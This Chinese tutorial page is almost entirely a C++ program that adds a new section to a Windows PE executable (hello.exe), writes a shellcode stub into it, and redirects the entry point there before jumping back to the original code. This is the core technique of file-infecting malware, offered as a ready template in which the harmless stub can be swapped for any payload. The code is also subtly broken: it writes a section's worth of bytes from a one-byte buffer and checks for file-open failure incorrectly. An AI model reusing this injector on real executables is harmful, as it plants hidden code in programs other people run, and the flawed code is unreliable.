歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> SHELL編程 >> 增加節表存放shellcode

增加節表存放shellcode

日期:2017/3/1 10:06:18   编辑:SHELL編程

將shellcode放在PE文件新增的節表中

  1. // InsertShellCodeToPE.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <Windows.h>
  5. #define FILENAME "hello.exe"
  6. //自定義的shellcode
  7. char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
  8. /************************************************************************/
  9. /* 函數說明:將dwNum按dwAlign大小生成對齊大小 */
  10. /* 參數:dwNum 待對齊的數據長度 */
  11. /* dwAlign 對齊粒度 */
  12. /* 返回值:返回按指定粒度對齊後的大小 */
  13. /************************************************************************/
  14. DWORD Align(DWORD dwNum, DWORD dwAlign)
  15. {
  16. if (dwNum % dwAlign == 0)
  17. {
  18. return dwNum;
  19. }
  20. else
  21. {
  22. return (dwNum / dwAlign + 1) * dwAlign;
  23. }
  24. }
  25. int main(int argc, char* argv[])
  26. {
  27. HANDLE hFile = ::CreateFile(FILENAME, FILE_GENERIC_READ|FILE_GENERIC_WRITE|FILE_GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  28. if (NULL == hFile)
  29. {
  30. printf("createfile error");
  31. return -1;
  32. }
  33. HANDLE hFileMap = ::CreateFileMapping(hFile, NULL, PAGE_EXECUTE_READWRITE, 0, 0, NULL);
  34. int n = GetLastError();
  35. if (NULL == hFileMap)
  36. {
  37. printf("CreateFileMapping error");
  38. return -1;
  39. }
  40. LPVOID lpMemory = ::MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  41. if (NULL == lpMemory)
  42. {
  43. printf("MapViewOfFile error");
  44. return -1;
  45. }
  46. PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpMemory;
  47. PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)lpMemory + pDosHeader->e_lfanew);
  48. PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&(pNTHeader->FileHeader);
  49. PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&pNTHeader->OptionalHeader;
  50. PIMAGE_SECTION_HEADER pSection = NULL;
  51. IMAGE_SECTION_HEADER secToAdd = {0};
  52. if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE || pNTHeader->Signature != IMAGE_NT_SIGNATURE)
  53. {
  54. printf("Not valid PE file...");
  55. return -1;
  56. }
  57. pSection = (PIMAGE_SECTION_HEADER)((BYTE*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
  58. DWORD dwSectionNum = pFileHeader->NumberOfSections;
  59. DWORD dwSectionAlign = pOptionalHeader->SectionAlignment;
  60. DWORD dwOEP = pOptionalHeader->AddressOfEntryPoint;
  61. dwOEP = (DWORD)(pOptionalHeader->ImageBase + dwOEP);
  62. pSection = pSection + dwSectionNum - 1; //pSection指向了最後一個section節表的起始,下面根據最後一個section節表設置新的節表數據
  63. strcpy((char *)secToAdd.Name, ".xiaoju");
  64. secToAdd.Characteristics = pSection->Characteristics;
  65. secToAdd.VirtualAddress = pSection->VirtualAddress + Align(pSection->Misc.VirtualSize, dwSectionAlign);
  66. secToAdd.Misc.VirtualSize = dwSectionAlign;
  67. secToAdd.PointerToRawData = pSection->PointerToRawData + pSection->SizeOfRawData;
  68. secToAdd.SizeOfRawData = dwSectionAlign;
  69. pSection++; //pSection指向了所有節表的最後
  70. //寫入新的節表
  71. memcpy(pSection, &secToAdd, sizeof(IMAGE_SECTION_HEADER));
  72. //改寫pe文件中節表的數量
  73. pFileHeader->NumberOfSections++;
  74. //將shellcode中的預留位填充好
  75. *(DWORD*)&shellcode[5] = dwOEP;
  76. //增加文件大小
  77. BYTE bNum = '\x0';
  78. DWORD dwWritten = 0;
  79. ::SetFilePointer(hFile, 0, 0, FILE_END);
  80. ::WriteFile(hFile, &bNum, dwSectionAlign, &dwWritten, NULL);
  81. //在新增節表的PointerToRawData處寫入shellcode
  82. ::SetFilePointer(hFile, pSection->PointerToRawData, 0, FILE_BEGIN);
  83. ::WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwWritten, NULL);
  84. //修改程序的映象大小和OEP
  85. pOptionalHeader->SizeOfImage = pOptionalHeader->SizeOfImage + dwSectionAlign;
  86. pOptionalHeader->AddressOfEntryPoint = pSection->VirtualAddress;
  87. ::UnmapViewOfFile(lpMemory);
  88. ::CloseHandle(hFileMap);
  89. ::CloseHandle(hFile);
  90. return 0;
  91. }

原始hello.exe

程序運行後,修改後的hello.exe

Copyright © Linux教程網 All Rights Reserved